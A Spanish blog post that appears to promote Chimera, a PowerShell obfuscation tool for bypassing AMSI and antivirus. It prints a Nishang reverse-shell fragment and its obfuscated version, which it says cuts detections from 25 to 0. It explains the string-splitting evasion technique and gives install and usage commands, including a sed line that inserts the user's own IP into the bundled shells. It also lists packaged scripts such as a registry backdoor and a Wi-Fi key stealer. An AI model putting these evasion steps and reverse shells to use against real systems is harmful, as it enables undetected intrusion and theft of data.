El core para antimalware que usa Microsoft, introducido en Windows 10, es la Interfaz de exploración antimalware de Windows, en inglés Antimalware Scan Interface y en adelante AMSI.
Las aplicaciones antivirus, incluido Windows Defender, pueden llamar a su conjunto de APIs para solicitar un análisis en busca de software malintencionado, scripts y otro contenido.
Hoy os traemos precisamente una herramienta destinada a bypassear AMSI. Se trata de Chimera, un script en PowerShell para ofuscar código y eludir como decimos AMSI y otras soluciones antivirus.
Básicamente toma como entrada los PS1 maliciosos detectados por AVs y utiliza la sustitución de cadenas y la concatenación de variables para evadir las firmas de detección comunes.
A continuación se muestra un fragmento de Invoke-PowerShellTcp.ps1 de Nishang, que se encuentra en nishang/Shells. VirusTotal reporta 25 detecciones del script de PS1.
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
Y aquí el mismo fragmento tratado por Chimera que reporta 0 detecciones:
# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.
# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.
Chimera hace varias cosas para ofuscar el código fuente. La función transformer separará las cadenas en múltiples piezas y las reconstruirá como nuevas variables. Por ejemplo, tomará una cadena como ... New-Object System.Net.Sockets.TCPClient ... y la convertirá a:
$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"
... New-Object $a$b$c$d ...
$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN
Uso (probado en Kali v2020.3)
Clonar el repo:
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help
Uso básico:
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Os recomendamos echar un ojo a la guía de uso y a este writeup para ver más ejemplos y pantallazos.
Shells
En el directorio shells/ hay varios scripts de Nishang y algunos genéricos. Todos han sido probados y deberían funcionar bien. Para cambiar las direcciones IP hardcodeadas:
sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
ls -laR shells/
shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1
shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1
Recursos
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